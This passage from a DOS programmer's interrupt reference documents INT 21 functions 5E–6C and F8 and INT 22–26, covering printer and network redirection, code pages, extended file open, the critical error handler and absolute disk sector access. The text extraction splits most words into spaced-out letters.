- see I NT 21, 5F subf unct i on 2 f or i nf or mat i on on obt ai ni ng t he
r edi r ect i on l i st i ndex
- f ai l s i f f i l e shar i ng i s not l oaded


^I NT 21, 5E AL=03 Get Pr i nt er Set up ( DOS 3. 1+)


AH = 5E
AL = 03 get pr i nt er set up
BX = r edi r ect i on l i st i ndex ( see ~I NT 21, 5F~ AL=2)
ES: DI = f ar poi nt er t o buf f er t o r ecei ve set up st r i ng


on r et ur n:
AX = er r or code i f CF set


- see I NT 21, 5F subf unct i on 2 f or i nf or mat i on on obt ai ni ng t he
r edi r ect i on l i st i ndex
- f ai l s i f f i l e shar i ng i s not l oaded


^I NT 21, 5E AL=04 Set Pr i nt er Mode ( DOS 3. 1+)


AH = 5E
AL = 04 set pr i nt er set up
BX = r edi r ect i on l i st i ndex ( see I NT 21, 5F AL=2)
DX = pr i nt er mode t o set ( bi t zer o i s set f or bi nar y mode and cl ear
f or t r ansl at ed/ t ext mode)
Pagina 948 di 991


on r et ur n:
AX = er r or code i f CF set


- see I NT 21, 5F subf unct i on 2 f or i nf or mat i on on obt ai ni ng t he
r edi r ect i on l i st i ndex
- f ai l s i f f i l e shar i ng i s not l oaded
- i ssues ~I NT 2F, 11~ and ~I NT 2F, 1F~


^I NT 21, 5E AL=05 Get Pr i nt er Mode ( DOS 3. 1+)


AH = 5E
AL = 05 set pr i nt er set up
BX = r edi r ect i on l i st i ndex ( see I NT 21, 5F AL=2)


on r et ur n:
AX = er r or code i f CF set
DX = pr i nt er mode wher e bi t zer o i s set f or bi nar y mode and
cl ear f or t r ansl at ed mode



- see ~I NT 21, 5F~ subf unct i on 2 f or i nf or mat i on on obt ai ni ng t he
r edi r ect i on l i st i ndex
- f ai l s i f f i l e shar i ng i s not l oaded
- i ssues ~I NT 2F, 11~ and ~I NT 2F, 1F~
: i nt 21, 5f
^I NT 21, 5F AL=00 Get Redi r ect i on Mode ( DOS 3. 1+)


AH = 5F
AL = 00
BL = r edi r ect i on t ype
= 03 pr i nt er
= 04 di sk dr i ve


on r et ur n:
AX = er r or code i f CF i s set
BH = devi ce r edi r ect i on st at e
= 00 r edi r ect i on of f
= 01 r edi r ect i on on


- det er mi nes i f di sk or pr i nt er r edi r ect i on i s enabl ed
- f ai l s i f f i l e shar i ng i s not l oaded


^I NT 21, 5F AL=01 Set Redi r ect i on Mode ( DOS 3. 1+)


AH = 5F
AL = 01
BH = devi ce r edi r ect i on st at e
= 00 t ur n r edi r ect i on of f
= 01 t ur n r edi r ect i on on
BL = r edi r ect i on t ype
= 03 pr i nt er
Pagina 949 di 991
= 04 di sk dr i ve


on r et ur n:
AX = er r or code i f CF i s set


- enabl es or di sabl es di sk or pr i nt er r edi r ect i on
- l ocal devi ces ar e used when r edi r ect i on i s of f
- f ai l s i f f i l e shar i ng i s not l oaded


^I NT 21, 5F AL=02 Get Redi r ect i on Li st Ent r y ( DOS 3. 1+)

AH = 5F
AL = 02
BX = r edi r ect i on l i st i ndex
DS: SI = f ar poi nt er t o a 16 byt e buf f er t o hol d devi ce name
ES: DI = f ar poi nt er t o a 128 byt e buf f er t o hol d net wor k name

on r et ur n:
AX = er r or code i f CF i s set
= 1 i nval i d f unct i on code
= 12 no mor e f i l es
BH = devi ce st at us f l ag,
bi t 0 = 0 devi ce val i d
bi t 0 = 1 devi ce i nval i d
BL = devi ce t ype
= 3 pr i nt er
= 4 dr i ve
CX = st or ed par amet er val ue
DS: SI = f ar poi nt er t o ASCI I Z l ocal devi ce name
ES: DI = f ar poi nt er t o ASCI I Z net wor k name

- val ue r et ur ned i n CX i s t he val ue pr evi ousl y passed t o
I NT 21, 5F wi t h subf unct i on 3 i n r egi st er CX
- r egi st er s DX and BP ar e dest r oyed
- f ai l s i f f i l e shar i ng i s not l oaded


^I NT 21, 5F AL=03 Redi r ect Devi ce ( DOS 3. 1+)

AH = 5F
AL = 03
BL = devi ce t ype
= 3 i f pr i nt er
= 4 i f dr i ve
CX = par amet er t o save f or cal l er
DS: SI = f ar poi nt er t o ASCI I Z l ocal devi ce name
ES: DI = f ar poi nt er t o ASCI I Z net wor k name f ol l owed
by ASCI I Z passwor d

on r et ur n
AX = er r or code i f CF i s set
= 1 i nval i d f unct i on code or
i nval i d sour ce or dest i nat i on st r i ng f or mat or
sour ce devi ce al r eady r edi r ect ed
= 3 pat h not f ound
= 5 access deni ed
= 8 i nsuf f i ci ent memor y

- par amet er passed i n CX can l at er be r et r i eved by cal l s
t o I NT 21, 5F subf unct i on 2
Pagina 950 di 991
- l ocal devi ce name i n DS: SI can be a dr i ve desi gnat or
( D: ) , a pr i nt er name ( PRN or LPTx) , or a nul l st r i ng
- when a nul l st r i ng i s f ol l owed by a passwor d i s used, DOS
t r i es gr ant i ng access t o t he net wor k di r ect or y usi ng t he
gi ven passwor d
- f ai l s i f f i l e shar i ng i s not l oaded


^I NT 21, 5F AL=04 Cancel Devi ce Redi r ect i on ( DOS 3. 1+)


AH = 5F
AL = 04
DS: SI = f ar poi nt er t o ASCI I Z l ocal devi ce name


on r et ur n
AX = er r or code i f CF set
= 01 f unct i on code i nval i d
ASCI I Z st r i ng i s not an exi st i ng sour ce devi ce
= 0F r edi r ect i on paused on ser ver


- l ocal devi ce name i n DS: SI can be a dr i ve desi gnat or
( D: ) , a pr i nt er name ( PRN or LPTx) , or a st r i ng begi nni ng
wi t h 2 backsl ashes " \ \ "
- when t wo backsl ashes ar e used f or t he st r i ng t he connect i on
bet ween t he l ocal machi ne and net wor k di r ect or y t er mi nat es
- f ai l s i f f i l e shar i ng i s not l oaded

^I NT 21, 5F AL=05 Get Redi r ect i on Li st Ext ended Ent r y ( DOS 4. 0+)

AH = 5F
AL = 05
BX = r edi r ect i on l i st i ndex
DS: SI = poi nt er t o buf f er t o r ecei ve ASCI I Z sour ce devi ce name
ES: DI = poi nt er t o buf f er t o r ecei ve ASCI I Z net wor k pat h

on r et ur n
AX = er r or code i f CF set
BH = devi ce st at us f l ag ( bi t 0 cl ear i f val i d)
BL = devi ce t ype
= 03 pr i nt er devi ce
= 04 di sk devi ce
CX = st or ed user par amet er val ue
BP = NETBI OS l ocal sessi on number
DS: SI = poi nt er t o buf f er cont ai ni ng ASCI I Z sour ce devi ce name
ES: DI = poi nt er t o buf f er cont ai ni ng ASCI I Z net wor k pat h


- r et r i eves t he st at us, t ype, sour ce and t ar get of a gi ven r edi r ect i on
- f ai l s i f f i l e shar i ng i s not l oaded


^I NT 21, 5F AL=06 Get Redi r ect i on Li st ( DOS 4. 0+)


AH = 5F
AL = 06

- no i nf or mat i on i s cur r ent l y avai l abl e f or t hi s subf unct i on
: i nt 21, 60
^I NT 21, 60 - Get Ful l y Qual i f i ed Fi l e Name ( Undocument ed 3. x+)
Pagina 951 di 991


AH = 60h
DS: SI = poi nt er t o ASCI I Z st r i ng cont ai ni ng unqual i f i ed f i l ename
ES: DI = poi nt er t o 128 byt e buf f er t o cont ai n f ul l y qual i f i ed f i l ename


on r et ur n:
ES: DI = addr ess of f ul l y qual i f i ed f i l ename st r i ng
AH = er r or code i f CF set


- undocument ed, avai l abl e i n DOS 3. x+
- does not check f or f i l e exi st ence, si mpl e pr ovi des a f ul l y
qual i f i ed f i l ename f or t he gi ven f i l espec
- t hi s f unct i on i gnor es ASSI GN' ed, J OI N' ed, SUBST' ed and net wor k
r edi r ect i ons and r et ur ns t he t r ue pat h name
- r et ur ned st r i ng i s i n upper case and has f or war d sl ashes r epl aced
by back sl ashes; f i l ename al ways begi ns wi t h " d: " or " \ \ " f or mat
- AL r egi st er i s dest r oyed
- suppor t ed by OS/ 2 1. 1 compat i bi l i t y box
: i nt 21, 62
^I NT 21, 62 - Get PSP addr ess ( DOS 3. x)


AH = 62h


on r et ur n:
BX = segment addr ess of cur r ent pr ocess



- t hi s i s usef ul f or TSR' s t o access t hei r own f i l e handl es
- f or DOS 2. x use ~I NT 21, 51~

- see al so ~I NT 21, 50~
: i nt 21, 63
^I NT 21, 63 - Get Lead Byt e Tabl e ( MSDOS 2. 25 onl y)

% See bel ow f or i nf or mat i on on t he Asi an I NT 21, 63 speci f i cat i ons

AH = 63h
AL = 00 get addr ess of syst eml ead byt e t abl e
= 01 set or cl ear i nt er i mconsol e f l ag
= 02 get val ue of i nt er i mconsol e f l ag
DL = 00 cl ear i nt er i mconsol e f l ag ( when AL=01)
= 01 set i nt er i mconsol e f l ag ( when AL=01)

on r et ur n
AX = er r or code i f CF set
DS: SI = f ar poi nt er t o l ead byt e t abl e ( AL=00)
DL = val ue of i nt er i mconsol e f l ag ( AL=02)

- avai l abl e onl y i n MSDOS 2. 25
- pr ovi des mul t i pl e byt e char act er suppor t
- f unct i on 00, r et ur ns t he addr ess of syst emt abl e cont ai ni ng
l egal l ead byt e r anges
- f unct i on 01 & 02 set and get t he i nt er i mconsol e f l ag whi ch
det er mi nes whet her i nt er i mbyt es ar e r et ur ned on some consol e
f unct i ons
- al l r egi st er s except CS: I P and SS: SP may be dest r oyed

Pagina 952 di 991

^I NT 21, 63 - Get Lead Byt e Tabl e ( Asi an DOS 3. 2+)

AH = 63h
AL = 00 get addr ess of Doubl e Byt e Char act er Set ( DBCS) l ead t abl e
= 01 set Hongeul ( Kor ean) i nput mode
= 02 get Hongeul ( Kor ean) i nput mode
DL = new keyboar d i nput mode
= 00 r et ur n compl et el y f or med char act er s onl y
= 01 r et ur n par t i al l y f or med char act er s al so


on r et ur n
AL = 00 on success
= FF i f f unct i on not suppor t ed
DS: SI = poi nt er t o DBCS t abl e ( f unct i on 00)
DL = cur r ent keyboar d i nput mode ( f unct i on 02)
= 00 onl y compl et el y f or med char act er s ar e accept ed
= 01 par t i al l y f or med char act er s ar e accept ed


- avai l abl e onl y i n Asi an MSDOS 3. 2+
- pr ovi des Asi an mul t i pl e byt e char act er suppor t
- al l r egi st er s except CS: I P and SS: SP may be dest r oyed
- DOS 4. 0 r et ur ns an empt y l i st
: i nt 21, 64
^I NT 21, 64 - Set Devi ce Dr i ver Look Ahead ( Undocument ed)


AH = 64h
AL = val ue f or swi t ch
00 causes DOS t o per f or ml ook ahead t o t he devi ce dr i ver
bef or e execut i on of ~I NT 21, 1~, ~I NT 21, 8~ and ~I NT 21, A~
ot her - no l ook ahead i s per f or med


r et ur ns ???


- DOS i nt er nal ; shoul d not be cal l ed by user pr ogr am
- swi t ch def aul t s t o zer o
- undocument ed; si nce DOS 3. 3
- some ot her subf unct i ons ar e know t o have exi st ed si nce DOS 3. 2 but
det ai l s on t hei r f unct i onal i t y ar e i ncompl et e
: i nt 21, 65
^I NT 21, 65 - Get Ext ended Count r y I nf or mat i on ( DOS 3. 3+)

AH = 65h
AL = 01 get ext ended count r y i nf or mat i on
= 02 get poi nt er t o char act er t r ansl at i on t abl e
= 04 get poi nt er t o f i l ename char act er t r ansl at i on t abl e
= 05 get poi nt er t o f i l ename t er mi nat or t abl e
= 06 get poi nt er t o col l at i ng sequence
= 07 get segment of DCBS vect or ( DOS 4. x)
= 20 count r y dependant char act er capi t al i zat i on ( DOS 4+)
= 21 count r y dependant st r i ng capi t al i zat i on ( DOS 4+)
= 22 count r y dependant ASCI I Z st r i ng capi t al i zat i on ( DOS 4+)
= 23 det er mi ne i f char act er r epr esent s count r y r el at i ve
Yes or No r esponse ( DOS 4+)
= A0 count r y dependant f i l ename char act er capi t al i zat i on ( DOS 4+)
= A1 count r y dependant f i l ename st r i ng capi t al i zat i on ( DOS 4+)
= A2 count r y dependant ASCI I Z f i l ename capi t al i zat i on ( DOS 4+)
BX = code page ( - 1 = cur r ent gl obal code page, AL < 20h)
Pagina 953 di 991
CX = amount of dat a t o r et ur n
= l engt h of st r i ng ( AL=21h, A1h)
DX = count r y I D ( - 1 = cur r ent count r y, AL < 20h)
DL = char act er t o capi t al i ze or t est ( AL=20h, 23h, A0h)
DH = second char act er i f doubl e byt e char act er ( AL=23h)
ES: DI = poi nt er t o out put buf f er ( AL < 20h, see t abl es bel ow)
DS: DX = poi nt er t o st r i ng t o capi t al i ze ( AL=21h, 22h, A1h, A2h)


on r et ur n
AX = er r or code i f CF i s set ( see ~DOS ERROR CODES~)
= 00 NO r esponse i f ( AL was 23h)
= 01 YES r esponse i f ( AL was 23h)
= 02 not a yes or no r esponse ( AL was 23h)
CX = amount of dat a r et ur ned
DL = capi t al i ze char act er ( AL=20)
ES: DI poi nt er t o r et ur ned t abl e of t he f or ms:


% Of f set Si ze Tabl e f or Funct i on 01

00 byt e count r y i d = 01
01 wor d si ze ( 38 or l ess)
03 wor d count r y i d
05 wor d code Page
07 wor d dat e For mat
09 5byt es cur r ency symbol st r i ng ( ASCI I Z)
0E 2byt es t housands separ at or st r i ng ( ASCI I Z)
10 2byt es deci mal separ at or st r i ng ( ASCI I Z)
12 2byt es dat e separ at or st r i ng ( ASCI I Z)
14 2byt es t i me Separ at or st r i ng ( ASCI I Z)
16 byt e cur r ency symbol l ocat i on
17 byt e cur r ency deci mal pl aces
18 byt e t i me f or mat
19 dwor d ext ended ASCI I map cal l addr ess
1D 2byt es l i st separ at or st r i ng ( ASCI I Z)
1F 10byt es r eser ved


% Of f set Si ze Tabl e f or Funct i on 2
00 byt e count r y I d = 02
01 dwor d poi nt er t o upper case t abl e


% Of f set Si ze Tabl e f or Funct i on 4
00 byt e count r y I d = 04
01 dwor d poi nt er t o f i l ename char act er t r ansl at i on t abl e


% Of f set Si ze Tabl e f or Funct i on 5
00 byt e count r y I d = 05
01 dwor d poi nt er t o f i l ename upper case t abl e


% Fi l e Ter mi nat or Tabl e f or Funct i on 5
00 wor d t abl e si ze
02 7byt es unknown
09 byt e l engt h of f ol l owi ng dat a
0A nbyt es l i st of f i l ename t er mi nat i on char act er s, ex:
< > . " / \ [ ] : | + = ; ,

% Of f set Si ze Tabl e f or Funct i on 6
00 byt e count r y I d = 06
Pagina 954 di 991
01 dwor d poi nt er t o col l at i ng t abl e


% Of f set Si ze Tabl e f or Funct i on 7
00 byt e count r y I d = 07
01 dwor d poi nt er t o byt e pai r t abl e


- f unct i ons A0, A1, A2 ar e i mpl ement ed i n DOS 4. x but don' t wor k
: i nt 21, 66
^I NT 21, 66 - Get / Set Gl obal Code Page ( DOS 3. 3+)


AH = 66h
AL = 01 get gl obal code page
= 02 set gl obal code page
BX = act i ve code page i f set t i ng
DX = syst emcode page i f set t i ng


on r et ur n
AX = er r or code i f CF set ( see ~DOS ERROR CODES~)
BX = act i ve code page ( f or AL=1 onl y)
DX = syst emcode page ( f or AL=1 onl y)


- moves count r y dat a f r omCOUNTRY. SYS t o count r y memor y t abl e

: i nt 21, 67
^I NT 21, 67 - Set Handl e Count ( DOS 3. 3+)

AH = 67h
BX = new maxi mumopen handl es al l owed

on r et ur n
CF = 0 i f successf ul
= 1 i f er r or
AX = er r or code i f CF i s set ( see ~DOS ERROR CODES~)


- gi ves pr ogr amcont r ol of t he number of f i l es si mul t aneousl y open
- i f CX i s l ess t han t he cur r ent number of open f i l es t he change
wi l l t ake ef f ect when t he number of open handl es f al l s bel ow
t he new l i mi t
- t hi s f unct i on al l ows t he appl i cat i on t o use mor e t han 20 f i l es,
up t o t he FI LES=N l i mi t
- ear l i er copi es of I BM DOS 3. 3 somet i mes i ncor r ect l y al l ocat es
memor y ( up t o 64K) i f an even number of handl es i s r equest ed
- onl y t he f i r st 20 f i l es handl es ar e copi ed t o a chi l d pr ocess
r egar dl ess of t he max number of f i l es
- i t i s possi bl e t o al l ocat e mor e t han 255 f i l e handl es but i t i s
di f f i cul t t o use mor e t han 255

- see ~SFT~ ~FI LE HANDLES~
: i nt 21, 68
^I NT 21, 68 - Fl ush Buf f er Usi ng Handl e ( DOS 3. 3+)


AH = 68h
BX = f i l e handl e


on r et ur n
Pagina 955 di 991
AX = er r or code i f CF set ( see ~DOS ERROR CODES~)


- f l ushes DOS buf f er s t o di sk, does not updat e di r ect or y ent r y

: i nt 21, 69
^I NT 21, 69 - Get / Set Di sk Ser i al Number ( Undocument ed DOS 4+)

AH = 69h
AL = 00 get ser i al number
= 01 set ser i al number
BL = dr i ve ( 0 = def aul t , 1=A: , 2 = B: , . . . )
DS: DX = buf f er t o cont ai n ext ended BI OS Par amet er Bl ock ( ~BPB~, AL=0)
= di sk i nf or mat i on t o set of t he f or m:

% Of f set Si ze Descr i pt i on
00 wor d i nf o l evel ( zer o)
02 dwor d di sk ser i al number ( bi nar y)
06 11byt es vol ume l abel or " NO NAME " i f not pr esent
11 8byt es f i l esyst emt ype st r i ng " FAT12 " or " FAT16 "

r et ur ns:
CF = set on er r or
AX = er r or code i f CF set
= 01 net wor k dr i ve not suppor t ed
= 05 no ext ended BPB f ound on di sk
CF = cl ear i f successf ul and val ue i n AX i s dest r oyed
AL = 00 buf f er f i l l ed f r omExt ended BPB on di sk
= 01 di sk Ext ended BPB updat ed f r ombuf f er
DS: DX = poi nt er t o r et ur ned dat a, when AL = 0


- copi es dat a f r omExt ended BI OS Par amet er Bl ock t o buf f er
- no cr i t i cal er r or i s gener at ed on er r or
- does not wor k on net wor k dr i ves ( r et ur ns 01)
- r et ur ned buf f er ( af t er of f set 2) i s si mi l ar t o of f set s 27 t hr ough
3D of t he Ext ended BPB f ound i n t he boot r ecor d

- see ~I NT 21, 59~
: i nt 21, 6c
^I NT 21, 6C - Ext ended Open/ Cr eat e ( DOS 4. x+)

AH = 6C
AL = 00
BX = open mode ( see bel ow)
CX = f i l e at t r i but e ( see ~FI LE ATTRI BUTES~, bi t s 15- 8 ar e zer o)
DX = f unct i on cont r ol i ndi cat or ( see bel ow)
DS: SI = ASCI I Z f i l espec


r et ur ns:
AX = handl e i f CF cl ear
= er r or code i f CF set ( see ~DOS ERROR CODES~)
CX = 01 f i l e opened
= 02 f i l e cr eat ed and opened
= 03 f i l e t r uncat ed and opened ( r epl aced)
CF = 0 i f successf ul
= 1 i f er r or


% Open Mode i n BX:

F E D C B A 9 8 7 6 5 4 3 2 1 0 BX ( Open Mode)
Pagina 956 di 991
r ead/ wr i t e access mode
r eser ve ( must be 0)
shar i ng mode
1 = pr i vat e, 0 = i nher i t abl e
r eser ved
0 = cal l I NT 24, 1 = i gnor e I NT 24
0 = nor mal wr i t e, 1 = f l ush each wr i t e
r eser ved

% Read/ Wr i t e Access bi t s: Shar i ng Mode bi t s:
% 210 654
000 r ead access 000 compat i bi l i t y mode
001 wr i t e access 001 r ead/ wr i t e access
010 r ead/ wr i t e access 010 wr i t e access deni ed
011 r ead access deni ed
100 f ul l access

% Funct i on Cont r ol I ndi cat or i n DX:

F E D C B A 9 8 7 6 5 4 3 2 1 0 DX ( Funct i on Cont r ol )
f i l e exi st ence behavi or
cr eat i on behavi or
r eser ved

% Fi l e Exi st ence Behavi or bi t s:
% 3210
0000 i f f i l e exi st , gener at e er r or , t ake no act i on
0001 i f f i l e exi st s, open f i l e
0010 i f f i l e exi st s, t r uncat e and open


% Cr eat i on Behavi or bi t s:
% 7654
0000 i f f i l e does not exi st , gener at e er r or , t ake no act i on
0001 i f f i l e does not exi st , cr eat e


: i nt 21, f 8
^I NT 21, F8 - Set OEM I nt 21 Handl er ( f unct i ons F9- FF, Undocument ed)


AH = F8
DS: DX = poi nt er t o OEM handl er f or I NT 21H cal l s F9 t hr ough FF
= FFFF: FFFF t o r eset t o or i gi nal handl er s


- DOS i s set up t o al l ow ONE handl er f or al l 7 f unct i on cal l s.
Any cal l t o t hese handl er s wi l l set t he CF and AX
wi l l cont ai n 1 i f t hey ar e not i ni t i al i zed. The handl i ng
r out i ne i s passed al l r egi st er s j ust as t he user set t hem.
The handl er shoul d exi t wi t h an ~I RET~.
: i nt 22
^I NT 22 - Pr ogr amTer mi nat e


no i nput dat a


- not an i nt er r upt , but a vect or t o t he t er mi nat e addr ess
- copi ed t o ~PSP~ of f set 0Ah dur i ng pr ogr aml oad
- do not execut e t hi s i nt er r upt di r ect l y
: i nt 23: ct r l - c
^I NT 23 - Cont r ol - Br eak Exi t Addr ess
Pagina 957 di 991

no i nput dat a

- not an i nt er r upt but a poi nt er t o a r out i ne t hat i s cal l ed when a
DOS f unct i on det ect s a ~Ct r l - Br eak~ or Ct r l - C has been pr essed
r esul t i ng i n a " Br eak condi t i on"
- a Br eak condi t i on i s det ect ed i f DOS' s i nt er nal Br eak f l ag i s
f ound set by ~I NT 1B~ or t he next wor d i n t he BI OS keyboar d buf f er
i s a scan code r epr esent i ng one of t he Br eak key combi nat i ons.
I f a mat chi ng scan code i s f ound, t he keyboar d buf f er head poi nt er
i s i ncr ement ed by 2 ( whi ch ef f ect i vel y r emoves t he ^C keycode) , t he
^C i s pr i nt ed and t hen I NT 23 i s cal l ed.
- di sabl i ng t he abor t i s easy, but t o di sabl e t he ^C f r omappear i ng
you must ei t her not use any of t he DOS I / O f unct i ons t hat check
f or Br eak or you must t r ap t he Ct r l - C keypr ess f r omwi t hi n I NT 9.
Anot her met hod i s t o scan t he BI OS keyboar d buf f er and del et e any
Br eak key combi nat i ons.
- Ct r l - Br eak empt i es t he keyboar d buf f er by r eset t i ng t he keyboar d
head and t ai l poi nt er s t hen pl aces a 0000h at t he queue head. I t
t hen set s an i nt er nal " Br eak" f l ag. DOS subf unct i ons t hat check
f or Br eak see t hi s and t hen i ssue I NT 23h. DOS does not det ect
I NT 1B usi ng t he keyboar d buf f er , but uses i t ' s own i nt er nal f l ag.
- Al t - Keypad- 3 and Ct r l - 2 al so r esul t i n t hi s i nt er r upt
- Ct r l - C pl aces 2E03h i n t he BI OS keyboar d buf f er whi l e Ct r l - 2
pl aces 0300h and Al t - Keypad- 3 pl aces 0003h; none of t hese key
combi nat i ons empt y t he keyboar d l i ke Ct r l - Br eak but al l r esul t
i n a ^C bei ng di spl ayed; not e t hat al l t hr ee pr oduce scan codes
cont ai ni ng ' 03'
- si nce DOS checks onl y t he f i r st wor d of t he keyboar d buf f er
Ct r l - C, Ct r l - 2 and Al t - Keypad- 3 ar e onl y det ect ed i f t hey ar e t he
f i r st wor d i n t he buf f er whi l e Ct r l - Br eak i s det ect ed vi a t he
i nt er nal f l ag and t akes ef f ect as soon as i t ' s det ect ed.
- do not execut e t hi s i nt er r upt di r ect l y
- see al so ~I NT 9~
: i nt 24: cr i t i cal er r or handl er
^I NT 24 - Cr i t i cal Er r or Handl er

no i nput dat a

on ent r y t o I NT 24:
AH = bi t 7 of r egi st er AH i s set t o one i f ot her t han di sk er r or
= bi t 7 of r egi st er AH i s set t o zer o i f di sk er r or
AL = f ai l i ng dr i ve number
AH = bi t s 0- 2 i ndi cat e af f ect ed di sk ar ea and r ead/ wr i t e st at us

5 4 3 2 1 0 AH
r ead = 0, wr i t e = 1
00=DOS, 01=FAT, 10=DI R, 11=dat a ar ea
0=FAI L not al l owed, 1=FAI L al l owed
0=RETRY not al l owed, 1=RETRY al l owed
0=I GNORE not al l owed, 1=I GNORE al l owed

DI = er r or code i n l ower byt e
BP: SI = poi nt er t o devi ce header cont r ol bl ock wher e addi t i onal
i nf or mat i on about t he er r or can be f ound


on exi t :
AL = act i on code det er mi ni ng exi t behavi or
= 00 i gnor e er r or
= 01 r et r y
= 02 t er mi nat e t hr ough ~I NT 23~
= 03 f ai l syst emcal l ( DOS 3. x+)
Pagina 958 di 991


% Er r or Codes i n l ow or der byt e of DI :

00 wr i t e pr ot ect er r or
01 unknown uni t
02 dr i ve not r eady
03 unknown command
04 dat a er r or ( bad CRC)
05 bad r equest st r uct ur e l engt h
06 seek er r or
07 unknown medi a t ype
08 sect or not f ound
09 pr i nt er out of paper
0A wr i t e f aul t
0B r ead f aul t
0C gener al f ai l ur e

% User s St ack at Ent r y t o Er r or Handl er :

( t op of st ack)
I P DOS code next i nst r uct i on poi nt er
CS
FLAGS DOS' s f l ags
AX - \
BX \
CX \
DX \
SI | - User ' s r egi st er s at ent r y t o I NT 21 f unct i on
DI /
BP /
DS /
ES - /
I P User code next i nst r uct i on poi nt er
CS
FLAGS

- on ent r y r egi st er s ar e set up f or a r et r y oper at i on
- user r out i ne must i ssue an I RET or si mul at e an I RET
- ~I NT 21, 0~ t hr ough ~I NT 21, C~ and ~I NT 21, 59~ can saf el y be i nvoked
f r omt he handl er . Ot her cal l s may dest r oy DOS' s st ack
- handl er must pr eser ve r egi st er SS, SP, DS, ES, BX, CX, DX
- choosi ng i gnor e can show si de ef f ect s, si nce i t causes DOS
t o cont i nue as i f i t t he cal l wer e successf ul
- i f an i mpr oper act i on code i s speci f i ed i n DOS 3. x i t i s changed:
i f I GNORE i s i nval i dl y speci f i ed, act i on i s conver t ed t o FAI L
i f RETRY i s i nval i dl y speci f i ed, act i on i s conver t ed t o FAI L
i f FAI L i s i nval i dl y speci f i ed, act i on i s conver t ed t o ABORT
- I GNORE r equest s ar e conver t ed t o FAI L f or ~FAT~ and ~DI R~ di sk
er r or s and net wor k cr i t i cal er r or s
- i f t he user r out i ne wi shes t o handl e t he er r or i nst ead of passi ng
i t t o DOS, i t must r est or e t he user pr ogr amr egi st er s f r omt he
st ack and r emove al l but t he l ast 3 wor ds f r omt he st ack ( FLAGS,
CS, I P) and i ssue an ~I RET~
- do not execut e t hi s i nt er r upt di r ect l y
- ~I NDOS~ f l ag i s cl ear ed on I NT 24 ( see ~I NT 21, 34~)
: i nt 25
^I NT 25 - Absol ut e Di sk Read

AL = l ogi cal dr i ve number ( 0=A: , 1=B: , 2=C: , . . . )
CX = number of sect or s t o r ead
= - 1 i f DOS 4. x ( cont r ol bl ock poi nt er i s i n DS: BX)
DX = st ar t i ng l ogi cal sect or number ( see bel ow f or DOS 4. x+)
Pagina 959 di 991
DS: BX = poi nt er t o dat a buf f er
= poi nt er t o cont r ol bl ock ( DOS 4. x+, see bel ow)

on r et ur n:
AH = er r or code i f CF set :
01 bad command
02 bad addr ess mar k
03 wr i t e pr ot ect
04 sect or not f ound
08 DMA f ai l ur e
10 dat a er r or ( bad CRC)
20 cont r ol l er f ai l ed
40 seek f ai l ed
80 at t achment f ai l ed t o r espond
AL = BI OS er r or code i f CF set
00 wr i t e pr ot ect er r or
01 unknown uni t
02 dr i ve not r eady
03 unknown command
04 dat a er r or ( bad CRC)
05 bad r equest st r uct ur e l engt h
06 seek er r or
07 unknown medi a t ype
08 sect or not f ound
0A wr i t e f aul t
0B r ead f aul t
0C gener al f ai l ur e

^Cont r ol Bl ock For mat ( DOS 4. x) :

% Of f set Si ze Descr i pt i on

00 dwor d st ar t i ng sect or
04 wor d number of sect or s t o r ead
06 dwor d poi nt er t o buf f er


- r eads di sk sect or s i nt o buf f er at DS: BX or DS: [ BX+6]
- af t er cal l i ng t hi s i nt er r upt t he f l ags r egi st er r emai ns on t he
st ack and must be popped manual l y
- sect or s ar e l ogi cal sect or s st ar t i ng at t he begi nni ng of a
l ogi cal di sk; each DOS par t i t i on on a dr i ve uni t i s consi der ed
one l ogi cal dr i ve and has i t ' s own l ogi cal sect or number s wi t h
t r ack 0 st ar t i ng at t he f i r st t r ack i n t he par t i t i on
- t hi s f unct i on uses l ogi cal dr i ves, and i s suscept i bl e t o ASSI GN
- physi cal sect or number s can be conver t ed t o and f r omDOS sect or
number s wi t h t he f ol l owi ng f or mul as:

dos_sect or = ( sect or - 1) + ( head * sect or s_per _t r ack) +
( t r ack * sect or s_per _t r ack * num_heads)

physi cal _sect or = 1 + ( dos_sect or MOD sect or s_per _t r ack)
physi cal _head = ( dos_sect or / sect or s_per _t r ack) MOD num_heads
physi cal _t r ack = dos_sect or / ( sect or s_per _t r ack * num_heads)

- see ~I NT 13, STATUS~
: i nt 26
^I NT 26 - Absol ut e Di sk Wr i t e

AL = l ogi cal dr i ve number ( 0=A: , 1=B: , 2=C: , . . . )
CX = number of sect or s t o wr i t e
= - 1 i f DOS 4. x ( cont r ol bl ock poi nt er i s i n DS: BX)
DX = st ar t i ng l ogi cal sect or number ( see bel ow f or DOS 4. x+)
Pagina 960 di 991
DS: BX = poi nt er t o dat a buf f er
= poi nt er t o cont r ol bl ock ( DOS 4. x+, see bel ow)

on r et ur n:
AH = er r or code i f CF set :
01 bad command
02 bad addr ess mar k
03 wr i t e pr ot ect
04 sect or not f ound
08 DMA f ai l ur e
10 dat a er r or ( bad CRC)
20 cont r ol l er f ai l ed
40 seek f ai l ed
80 at t achment f ai l ed t o r espond
AL = BI OS er r or code i f CF set
00 wr i t e pr ot ect er r or
01 unknown uni t
02 dr i ve not r eady
03 unknown command
04 dat a er r or ( bad CRC)
05 bad r equest st r uct ur e l engt h
06 seek er r or
07 unknown medi a t ype
08 sect or not f ound
0A wr i t e f aul t
0B r ead f aul t
0C gener al f ai l ur e

^Cont r ol Bl ock For mat ( DOS 4. x) :

% Of f set Si ze Descr i pt i on

00 dwor d st ar t i ng sect or
04 wor d number of sect or s t o wr i t e
06 dwor d poi nt er t o buf f er


- wr i t es di sk sect or s f r ombuf f er at DS: BX or DS: [ BX+6]
- af t er cal l i ng t hi s i nt er r upt t he f l ags r egi st er r emai ns on t he
st ack and must be popped manual l y
- sect or s ar e l ogi cal sect or s st ar t i ng at t he begi nni ng of a
l ogi cal di sk; each DOS par t i t i on on a dr i ve uni t i s consi der ed
one l ogi cal dr i ve and has i t ' s own l ogi cal sect or number s wi t h
t r ack 0 st ar t i ng at t he f i r st t r ack i n t he par t i t i on
- t hi s f unct i on uses l ogi cal dr i ves, and i s suscept i bl e t o ASSI GN
- physi cal sect or number s can be conver t ed t o and f r omDOS sect or
number s wi t h t he f ol l owi ng f or mul as:

dos_sect or = ( sect or - 1) + ( head * sect or s_per _t r ack) +
( t r ack * sect or s_per _t r ack * num_heads)

physi cal _sect or = 1 + ( dos_sect or MOD sect or s_per _t r ack)
physi cal _head = ( dos_sect or / sect or s_per _t r ack) MOD num_heads
physi cal _t r ack = dos_sect or / ( sect or s_per _t r ack * num_heads)

- see ~I NT 13, STATUS~
